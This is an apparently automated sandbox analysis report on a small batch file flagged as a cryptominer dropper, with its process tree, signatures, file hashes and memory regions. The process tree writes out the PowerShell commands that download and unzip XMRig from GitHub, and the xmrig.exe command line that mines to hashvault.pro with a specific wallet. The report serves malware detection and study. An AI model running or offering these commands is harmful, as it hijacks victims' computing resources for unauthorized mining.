Resubmissions

Analysis

  • max time kernel
    1794s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 18:23

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3916
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4608

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    274b7d9f608020e0f78a659844a57a7c

    SHA1

    5f6184da9ca80afad97b3a6253887b27f0efe9ec

    SHA256

    bf0fa286e1f55253716885153705c29cc109aa70f5a463dd9c5d992ce314f1ba

    SHA512

    a30ece10b0f72dee2aa8e72ba645fdd9b48edf670159e8d9c20bc3c4862d68a7c4d2da7e3b3d9d252a2b4527d8e6582e7202c5d7688f946301e77edaeda4eeb0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_spmaltv3.lu5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    520KB

    MD5

    519e55a84006e218645fee9206b6c59b

    SHA1

    2c204cb6b00efe3e84de0257093bd51b71b3ce80

    SHA256

    17f4acf3d28e09fc6aa4505d09b6537f7bd0d8173d09b0f00f310da83c6e5e83

    SHA512

    98f6c062699e0a9af4272412e03053c37857999a4e57da2530adf3e525851759842696b3e84eee50c4ba608ef1079eba143732b0cbf01f99529559c67b6e55e9

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    12KB

    MD5

    08fc09e4478561bd5fb7bc7a5651f877

    SHA1

    c92df436cb642b8c12ea82658f1235f09152da7c

    SHA256

    c4a2142aa386dce4a8e1f44f53854aa2ea385f0b04c8603e30426c5eec89677c

    SHA512

    7fced55ede7e8364cc683d30e7740aac0ae83809cc9ff215201e2058c0e51f2018d58d1d2b715e961abc4650b4182e1b2e85b98b1a9bc7ab6464660a3b27cd83

  • memory/3916-113-0x00007FF9F2940000-0x00007FF9F332C000-memory.dmp

    Filesize

    9.9MB

  • memory/3916-37-0x00007FF9F2940000-0x00007FF9F332C000-memory.dmp

    Filesize

    9.9MB

  • memory/3916-38-0x0000024CC28D0000-0x0000024CC28E0000-memory.dmp

    Filesize

    64KB

  • memory/3916-39-0x0000024CC28D0000-0x0000024CC28E0000-memory.dmp

    Filesize

    64KB

  • memory/3916-62-0x0000024CC28D0000-0x0000024CC28E0000-memory.dmp

    Filesize

    64KB

  • memory/3916-89-0x0000024CC2810000-0x0000024CC281A000-memory.dmp

    Filesize

    40KB

  • memory/3916-76-0x0000024CC28B0000-0x0000024CC28C2000-memory.dmp

    Filesize

    72KB

  • memory/3924-5-0x00007FF9F2940000-0x00007FF9F332C000-memory.dmp

    Filesize

    9.9MB

  • memory/3924-10-0x000001D6A6B10000-0x000001D6A6B86000-memory.dmp

    Filesize

    472KB

  • memory/3924-4-0x000001D68E930000-0x000001D68E952000-memory.dmp

    Filesize

    136KB

  • memory/3924-9-0x000001D68E920000-0x000001D68E930000-memory.dmp

    Filesize

    64KB

  • memory/3924-7-0x000001D68E920000-0x000001D68E930000-memory.dmp

    Filesize

    64KB

  • memory/3924-25-0x000001D68E920000-0x000001D68E930000-memory.dmp

    Filesize

    64KB

  • memory/3924-30-0x00007FF9F2940000-0x00007FF9F332C000-memory.dmp

    Filesize

    9.9MB

  • memory/4608-141-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-151-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-118-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-119-0x00000278A4660000-0x00000278A4680000-memory.dmp

    Filesize

    128KB

  • memory/4608-120-0x00000278A4680000-0x00000278A46A0000-memory.dmp

    Filesize

    128KB

  • memory/4608-121-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-122-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-123-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-124-0x00000278A4660000-0x00000278A4680000-memory.dmp

    Filesize

    128KB

  • memory/4608-125-0x00000278A4680000-0x00000278A46A0000-memory.dmp

    Filesize

    128KB

  • memory/4608-126-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-127-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-128-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-129-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-130-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-131-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-132-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-133-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-134-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-135-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-136-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-137-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-138-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-139-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-140-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-116-0x00000278A45F0000-0x00000278A4610000-memory.dmp

    Filesize

    128KB

  • memory/4608-142-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-143-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-144-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-145-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-146-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-147-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-148-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-149-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-150-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-117-0x00000278A4640000-0x00000278A4660000-memory.dmp

    Filesize

    128KB

  • memory/4608-152-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-153-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-154-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-155-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-156-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-157-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-158-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-159-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-160-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-161-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-162-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-163-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-164-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-165-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-166-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-167-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-168-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-169-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-170-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-171-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-172-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-173-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-174-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-175-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-176-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-177-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-178-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-179-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-180-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-181-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-182-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-183-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB

  • memory/4608-184-0x00007FF74AC20000-0x00007FF74B723000-memory.dmp

    Filesize

    11.0MB